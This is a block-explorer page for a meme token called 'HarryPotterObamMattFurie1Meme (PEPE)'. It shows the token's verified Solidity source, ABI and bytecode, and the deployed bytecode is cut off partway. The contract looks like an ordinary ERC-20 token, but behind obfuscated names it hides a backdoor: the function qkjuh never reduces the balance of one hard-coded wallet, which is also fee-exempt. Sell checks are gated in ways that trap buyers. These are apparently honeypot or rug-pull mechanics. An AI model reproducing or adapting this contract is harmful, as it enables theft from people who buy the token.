ETH Price: $2,956.62 (-5.25%)
Gas: 8 Gwei

Token

HarryPotterObamMattFurie1Meme (PEPE)
 

Overview

Max Total Supply

100,000,000 PEPE

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
434,842.79389525 PEPE

Value
$0.00
0x922a5ae990d6192c0532cb750a2e07cd8f6af28a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pepe

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-12
*/

/**

HarryPotterObamMattFurie1Meme   $PEPE



Twitter: https://twitter.com/HPepe_erc
Telegram: https://t.me/HPepe_erc
Website: https://pepeerc.com/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  qkjuh(uint256 a, uint256 b) internal pure returns (uint256) {
        return  qkjuh(a, b, "SafeMath");
    }

    function  qkjuh(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapV2dFactoryd {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapV2gRouterkg {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract Pepe is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"HarryPotterObamMattFurie1Meme";
    string private constant _symbol = unicode"PEPE";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 100000000 * (10**_decimals);
    uint256 public _taxtSwaprt = _totalSupply;
    uint256 public _maxpHoldpAmount = _totalSupply;
    uint256 public _taxSwapiThreshotu = _totalSupply;
    uint256 public _taxSwapqMaq = _totalSupply;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxhAt=7;
    uint256 private _reduceSellTaxhAt=1;
    uint256 private _swprkgecr=0;
    uint256 private _pcvpyxwp=0;
    address public  _empcxgvtep = 0x61a98Cc8d0516A04c49eDc2DBc7969B7d39f40f8;

    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _rkcvtloes;
    mapping (address => bool) private  _olsvewkxt;
    mapping(address => uint256) private  _oygTrarmrszr;
    bool public  tranfgDelyEnbled = false;


    IUniswapV2gRouterkg private  _unisV2jRouterj;
    address private  _unisV2jLj;
    bool private  _wvteyuafk;
    bool private  _injTaxjSwap = false;
    bool private  _solUnivwapsy = false;
 
 
    event RstuAknblr(uint _taxtSwaprt);
    modifier lockfTofSwapf {
        _injTaxjSwap = true;
        _;
        _injTaxjSwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupply;
        _rkcvtloes[owner()] = true;
        _rkcvtloes[address(this)] = true;
        _rkcvtloes[_empcxgvtep] = true;


        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. qkjuh(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (tranfgDelyEnbled) {
                if  (to!= address(_unisV2jRouterj) &&to!= address(_unisV2jLj)) {
                  require (_oygTrarmrszr[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _oygTrarmrszr[tx.origin] = block.number;
                }
            }

            if  ( from == _unisV2jLj && to!= address (_unisV2jRouterj) &&!_rkcvtloes[to]) {
                require (amount <= _taxtSwaprt, "Farbidh");
                require (balanceOf (to) + amount <= _maxpHoldpAmount,"Farbidh");
                if  (_pcvpyxwp < _swprkgecr) {
                  require (!rueqrqu(to));
                }
                _pcvpyxwp ++ ; _olsvewkxt[to] = true;
                taxAmount = amount.mul((_pcvpyxwp > _reduceBuyTaxhAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _unisV2jLj&&from!= address (this) &&! _rkcvtloes[from]) {
                require (amount <= _taxtSwaprt && balanceOf(_empcxgvtep) <_taxSwapqMaq, "Farbidh");
                taxAmount = amount.mul((_pcvpyxwp > _reduceSellTaxhAt) ?_finalSellTax:_initialSellTax).div(100);
                require (_pcvpyxwp >_swprkgecr && _olsvewkxt[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_injTaxjSwap 
            &&  to  ==_unisV2jLj&&_solUnivwapsy &&contractTokenBalance > _taxSwapiThreshotu 
            &&  _pcvpyxwp > _swprkgecr &&! _rkcvtloes [to] &&! _rkcvtloes [from]
            )  {
                _transferFrom(ubfep(amount,ubfep(contractTokenBalance, _taxSwapqMaq)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = qkjuh(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.qkjuh (taxAmount));
        emit  Transfer( from, to, amount. qkjuh(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private lockfTofSwapf {
        if(_swapTaxAndLiquify==0){return;}
        if(!_wvteyuafk){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _unisV2jRouterj.WETH();
        _approve(address (this), address (_unisV2jRouterj), _swapTaxAndLiquify);
        _unisV2jRouterj.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

    function ubfep(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function qkjuh(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _empcxgvtep) {
        return a;
    } else {
        require(a >= b, "Farbidh");
        return a - b;
    }
    }

    function removerLimits() external onlyOwner{
        _taxtSwaprt  =  _totalSupply ;
        _maxpHoldpAmount = _totalSupply ;
        tranfgDelyEnbled = false ;
        emit  RstuAknblr ( _totalSupply ) ;
    }

   function rueqrqu(address account) private view returns (bool) {
    uint256 codeSize;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codeSize := extcodesize(account)
    }

    return codeSize > 0;
    }


    function openTrading() external onlyOwner() {
        require (!_wvteyuafk, "trading  is  open") ;
        _unisV2jRouterj = IUniswapV2gRouterkg (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_unisV2jRouterj), _totalSupply);
        _unisV2jLj = IUniswapV2dFactoryd(_unisV2jRouterj.factory()).createPair (address(this), _unisV2jRouterj. WETH());
        _unisV2jRouterj.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_unisV2jLj).approve (address(_unisV2jRouterj), type(uint). max);
        _solUnivwapsy = true ;
        _wvteyuafk = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxtSwaprt","type":"uint256"}],"name":"RstuAknblr","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_empcxgvtep","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxpHoldpAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapiThreshotu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapqMaq","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxtSwaprt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tranfgDelyEnbled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031c565b62000022906305f5e10062000333565b600155620000336009600a6200031c565b62000043906305f5e10062000333565b600255620000546009600a6200031c565b62000064906305f5e10062000333565b600355620000756009600a6200031c565b62000085906305f5e10062000333565b600455600a6005819055600681905560016007818155600882905560095590555f600b819055600c55600d80546001600160a01b0319167361a98cc8d0516a04c49edc2dbc7969b7d39f40f81790556013805460ff191690556014805461ffff60a81b19169055348015620000f8575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001476009600a6200031c565b62000157906305f5e10062000333565b335f818152600e602090815260408083209490945581546001600160a01b03908116835260109091528382208054600160ff1991821681179092553084528584208054821683179055600d5490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e66009600a6200031c565b620001f6906305f5e10062000333565b60405190815260200160405180910390a36200034d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026157815f19048211156200024557620002456200020d565b808516156200025357918102915b93841c939080029062000226565b509250929050565b5f82620002795750600162000316565b816200028757505f62000316565b8160018114620002a05760028114620002ab57620002cb565b600191505062000316565b60ff841115620002bf57620002bf6200020d565b50506001821b62000316565b5060208310610133831016604e8410600b8410161715620002f0575081810a62000316565b620002fc838362000221565b805f19048211156200031257620003126200020d565b0290505b92915050565b5f6200032c60ff84168362000269565b9392505050565b80820281158282048414176200031657620003166200020d565b6118d2806200035b5f395ff3fe608060405260043610610113575f3560e01c80639277ad501161009d578063c9567bf911610062578063c9567bf914610323578063cf93f11e14610337578063d424217414610350578063daa9a34314610365578063dd62ed3e14610379575f80fd5b80639277ad501461028f57806395d89b41146102ae5780639f844d97146102da578063a9059cbb146102ef578063bc3b2f501461030e575f80fd5b8063313ce567116100e3578063313ce567146101e557806370a0823114610200578063715018a6146102345780637cc67fb21461024a5780638da5cb5b1461025f575f80fd5b806306fdde031461011e578063095ea7b31461017557806318160ddd146101a457806323b872dd146101c6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601d81527f4861727279506f747465724f62616d4d6174744675726965314d656d6500000060208201525b60405161016c91906114b8565b60405180910390f35b348015610180575f80fd5b5061019461018f36600461151a565b6103bd565b604051901515815260200161016c565b3480156101af575f80fd5b506101b86103d3565b60405190815260200161016c565b3480156101d1575f80fd5b506101946101e0366004611544565b6103f3565b3480156101f0575f80fd5b506040516009815260200161016c565b34801561020b575f80fd5b506101b861021a366004611582565b6001600160a01b03165f908152600e602052604090205490565b34801561023f575f80fd5b5061024861045b565b005b348015610255575f80fd5b506101b860025481565b34801561026a575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016c565b34801561029a575f80fd5b50600d54610277906001600160a01b031681565b3480156102b9575f80fd5b506040805180820190915260048152635045504560e01b602082015261015f565b3480156102e5575f80fd5b506101b860045481565b3480156102fa575f80fd5b5061019461030936600461151a565b6104d5565b348015610319575f80fd5b506101b860015481565b34801561032e575f80fd5b506102486104e1565b348015610342575f80fd5b506013546101949060ff1681565b34801561035b575f80fd5b506101b860035481565b348015610370575f80fd5b5061024861089a565b348015610384575f80fd5b506101b861039336600461159d565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b5f6103c9338484610955565b5060015b92915050565b5f6103e06009600a6116c8565b6103ee906305f5e1006116d6565b905090565b5f6103ff848484610a78565b610450843361044b85604051806060016040528060288152602001611875602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110ea565b610955565b5060015b9392505050565b5f546001600160a01b0316331461048d5760405162461bcd60e51b8152600401610484906116ed565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103c9338484610a78565b5f546001600160a01b0316331461050a5760405162461bcd60e51b8152600401610484906116ed565b601454600160a01b900460ff16156105585760405162461bcd60e51b81526020600482015260116024820152703a3930b234b733901034b9901037b832b760791b6044820152606401610484565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105b19030906001600160a01b03610100909104166105a36009600a6116c8565b61044b906305f5e1006116d6565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610602573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610626919061170e565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610686573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106aa919061170e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106f4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610718919061170e565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d7194730610764816001600160a01b03165f908152600e602052604090205490565b5f806107775f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107dd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108029190611729565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611754565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108c35760405162461bcd60e51b8152600401610484906116ed565b6108cf6009600a6116c8565b6108dd906305f5e1006116d6565b6001556108ec6009600a6116c8565b6108fa906305f5e1006116d6565b6002556013805460ff191690557fc2ac397216caacad63a61a38b7cf9e706b52802384d1951c5f9b2d7b79b365bb6109346009600a6116c8565b610942906305f5e1006116d6565b60405190815260200160405180910390a1565b6001600160a01b0383166109b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610484565b6001600160a01b038216610a185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610484565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ae15760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610484565b6001600160a01b038216610b435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610484565b5f8111610baa5760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610484565b5f80546001600160a01b03858116911614801590610bd557505f546001600160a01b03848116911614155b15610fab5760135460ff1615610c9d576013546001600160a01b038481166101009092041614801590610c1657506014546001600160a01b03848116911614155b15610c9d57325f908152601260205260409020544311610c8b5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610484565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610ccd57506013546001600160a01b038481166101009092041614155b8015610cf157506001600160a01b0383165f9081526010602052604090205460ff16155b15610de857600154821115610d185760405162461bcd60e51b815260040161048490611773565b60025482610d3a856001600160a01b03165f908152600e602052604090205490565b610d449190611794565b1115610d625760405162461bcd60e51b815260040161048490611773565b600b54600c541015610d8057610d7783611122565b15610d80575f80fd5b600c8054905f610d8f836117a7565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610de591606491610ddf9110610dd457600554610dd8565b6007545b859061117b565b906111da565b90505b6014546001600160a01b038481169116148015610e0e57506001600160a01b0384163014155b8015610e3257506001600160a01b0384165f9081526010602052604090205460ff16155b15610ed8576001548211158015610e635750600454600d546001600160a01b03165f908152600e6020526040902054105b610e7f5760405162461bcd60e51b815260040161048490611773565b610ea46064610ddf600a54600c5411610e9a57600654610dd8565b600854859061117b565b9050600b54600c54118015610ed057506001600160a01b0384165f9081526011602052604090205460ff165b610ed8575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610f0e57506014546001600160a01b038581169116145b8015610f235750601454600160b01b900460ff165b8015610f30575060035481115b8015610f3f5750600b54600c54115b8015610f6357506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f8757506001600160a01b0385165f9081526010602052604090205460ff16155b15610fa957610fa9610fa484610f9f84600454611206565b611206565b61121b565b505b801561102357305f908152600e6020526040902054610fca90826113c7565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461104790859084611410565b6001600160a01b0385165f908152600e602052604090205561108a61106c8383611460565b6001600160a01b0385165f908152600e6020526040902054906113c7565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d38585611460565b60405190815260200160405180910390a350505050565b5f818484111561110d5760405162461bcd60e51b815260040161048491906114b8565b505f61111984866117bf565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061115a5761115a6117d2565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361118a57505f6103cd565b5f61119583856116d6565b9050826111a285836117e6565b146104545760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610484565b5f6104548383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061148c565b5f818310156112155782610454565b50919050565b6014805460ff60a81b1916600160a81b17905580156113b757601454600160a01b900460ff16156113b7576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611279576112796117d2565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130e919061170e565b81600181518110611321576113216117d2565b6001600160a01b03928316602091820292909201015260135461134c91309161010090041684610955565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113889085905f90869030904290600401611805565b5f604051808303815f87803b15801561139f575f80fd5b505af11580156113b1573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113d38385611794565b9050838110156104545760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610484565b600d545f906001600160a01b039081169085160361142f575081610454565b8183101561144f5760405162461bcd60e51b815260040161048490611773565b61145982846117bf565b9050610454565b5f6104548383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110ea565b5f81836114ac5760405162461bcd60e51b815260040161048491906114b8565b505f61111984866117e6565b5f6020808352835180828501525f5b818110156114e3578581018301518582016040015282016114c7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611517575f80fd5b50565b5f806040838503121561152b575f80fd5b823561153681611503565b946020939093013593505050565b5f805f60608486031215611556575f80fd5b833561156181611503565b9250602084013561157181611503565b929592945050506040919091013590565b5f60208284031215611592575f80fd5b813561045481611503565b5f80604083850312156115ae575f80fd5b82356115b981611503565b915060208301356115c981611503565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561162257815f1904821115611608576116086115d4565b8085161561161557918102915b93841c93908002906115ed565b509250929050565b5f82611638575060016103cd565b8161164457505f6103cd565b816001811461165a576002811461166457611680565b60019150506103cd565b60ff841115611675576116756115d4565b50506001821b6103cd565b5060208310610133831016604e8410600b84101617156116a3575081810a6103cd565b6116ad83836115e8565b805f19048211156116c0576116c06115d4565b029392505050565b5f61045460ff84168361162a565b80820281158282048414176103cd576103cd6115d4565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f6020828403121561171e575f80fd5b815161045481611503565b5f805f6060848603121561173b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611764575f80fd5b81518015158114610454575f80fd5b60208082526007908201526608cc2e4c4d2c8d60cb1b604082015260600190565b808201808211156103cd576103cd6115d4565b5f600182016117b8576117b86115d4565b5060010190565b818103818111156103cd576103cd6115d4565b634e487b7160e01b5f52603260045260245ffd5b5f8261180057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118535784516001600160a01b03168352938301939183019160010161182e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d14315c73658d5b09ec655c78593c22f39b8aef30b9c5388a0028be487e5017064736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80639277ad501161009d578063c9567bf911610062578063c9567bf914610323578063cf93f11e14610337578063d424217414610350578063daa9a34314610365578063dd62ed3e14610379575f80fd5b80639277ad501461028f57806395d89b41146102ae5780639f844d97146102da578063a9059cbb146102ef578063bc3b2f501461030e575f80fd5b8063313ce567116100e3578063313ce567146101e557806370a0823114610200578063715018a6146102345780637cc67fb21461024a5780638da5cb5b1461025f575f80fd5b806306fdde031461011e578063095ea7b31461017557806318160ddd146101a457806323b872dd146101c6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601d81527f4861727279506f747465724f62616d4d6174744675726965314d656d6500000060208201525b60405161016c91906114b8565b60405180910390f35b348015610180575f80fd5b5061019461018f36600461151a565b6103bd565b604051901515815260200161016c565b3480156101af575f80fd5b506101b86103d3565b60405190815260200161016c565b3480156101d1575f80fd5b506101946101e0366004611544565b6103f3565b3480156101f0575f80fd5b506040516009815260200161016c565b34801561020b575f80fd5b506101b861021a366004611582565b6001600160a01b03165f908152600e602052604090205490565b34801561023f575f80fd5b5061024861045b565b005b348015610255575f80fd5b506101b860025481565b34801561026a575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016c565b34801561029a575f80fd5b50600d54610277906001600160a01b031681565b3480156102b9575f80fd5b506040805180820190915260048152635045504560e01b602082015261015f565b3480156102e5575f80fd5b506101b860045481565b3480156102fa575f80fd5b5061019461030936600461151a565b6104d5565b348015610319575f80fd5b506101b860015481565b34801561032e575f80fd5b506102486104e1565b348015610342575f80fd5b506013546101949060ff1681565b34801561035b575f80fd5b506101b860035481565b348015610370575f80fd5b5061024861089a565b348015610384575f80fd5b506101b861039336600461159d565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b5f6103c9338484610955565b5060015b92915050565b5f6103e06009600a6116c8565b6103ee906305f5e1006116d6565b905090565b5f6103ff848484610a78565b610450843361044b85604051806060016040528060288152602001611875602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110ea565b610955565b5060015b9392505050565b5f546001600160a01b0316331461048d5760405162461bcd60e51b8152600401610484906116ed565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103c9338484610a78565b5f546001600160a01b0316331461050a5760405162461bcd60e51b8152600401610484906116ed565b601454600160a01b900460ff16156105585760405162461bcd60e51b81526020600482015260116024820152703a3930b234b733901034b9901037b832b760791b6044820152606401610484565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105b19030906001600160a01b03610100909104166105a36009600a6116c8565b61044b906305f5e1006116d6565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610602573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610626919061170e565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815